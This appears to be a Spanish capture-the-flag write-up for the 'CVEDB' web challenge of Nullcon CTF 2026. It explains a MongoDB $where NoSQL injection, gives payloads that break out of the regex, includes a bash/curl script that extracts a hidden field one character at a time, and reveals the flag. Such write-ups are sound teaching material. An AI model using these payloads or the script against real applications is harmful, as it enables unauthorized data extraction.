Usa el árbol para saltar entre colecciones sin salir del lector.

archivo Seleccionar un writeup Abrir árbol
NullconCTF2026/WriteupCVEDB.md READ_ONLY

CVEDB

Datos del reto

Campo Valor
CTF Nullcon CTF 2026
Reto CVEDB
Categoría Web
Contexto "Let's implement our own CVE database with modern web-scale technologies, so without actual SQL."
URL http://52.59.124.14:5000/
Flag ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}

Descripción del reto

La aplicación era una base de datos de CVEs con un buscador simple. La pista de without actual SQL apuntaba hacia NoSQL, así que había que revisar cómo estaban armando la consulta en MongoDB.


Reconocimiento

Con whatweb se veía un backend Express, y el comportamiento del formulario sugería que el parámetro query terminaba dentro de una búsqueda por regex.

Al hacer unas pruebas rápidas aparecieron varias pistas.

  • CVE devolvía todos los registros.
  • flag devolvía solo uno.
  • ( o ) rompían la consulta con error de base de datos.

Además, entre los resultados destacaba CVE-1337-1337, con una descripción sospechosa. En el HTML también había campos comentados que no aparecían en la interfaz.

<!-- <div class="cve-product">TODO cve.product</div> -->
<!-- <div class="cve-vendor">TODO cve.vendor</div> -->

Eso ya hacía pensar que cada documento tenía más datos de los que la UI estaba enseñando.


Análisis

La parte vulnerable estaba en una consulta $where con input del usuario interpolado directamente dentro de JavaScript. La consulta se podía representar así.

const filter = {
  $where: `/${query}/i.test(this.description) || /${query}/i.test(this.id)`,
};

Si el input cerraba el regex e inyectaba código propio, Mongo terminaba evaluando JavaScript arbitrario sobre cada documento. Por ejemplo, esta cadena

test/i)||true||(/test

hacía que la condición devolviera true para todo y por eso aparecían todos los documentos.

Una vez confirmado eso, el siguiente paso fue mirar qué campos existían en this. product y vendor estaban presentes aunque la interfaz no los mostrara, y product era justo donde empezaba la flag.


Resolución

Primero confirmé que la flag estaba en product con una condición booleana.

1337/i)&&(this.product.startsWith("ENO"))&&(/1337

Después medí la longitud y terminé de extraerla carácter por carácter usando startsWith(). La idea era ir mandando peticiones como esta y ampliar el prefijo válido.

1337/i)&&(this.product.startsWith("ENO{T"))&&(/1337

Un script sencillo en bash alcanzaba para automatizarlo.

FLAG="ENO{"
CHARSET='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'

for pos in $(seq 4 53); do
  for char in $(echo "$CHARSET" | fold -w1); do
    prefix="${FLAG}${char}"
    payload="1337/i)&&(this.product.startsWith(\"${prefix}\"))&&(/1337"

    result=$(curl -s -X POST http://52.59.124.14:5000/search \
      --data-urlencode "query=${payload}" | grep -c "Found 1")

    if [ "$result" -eq 1 ]; then
      FLAG="${prefix}"
      break
    fi
  done
done

echo "$FLAG"

Tras suficientes peticiones, la aplicación iba revelando toda la cadena. La idea fue no quedarse en la primera inyección exitosa, sino usarla como oráculo para ir filtrando el campo oculto poco a poco.


Flag

ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}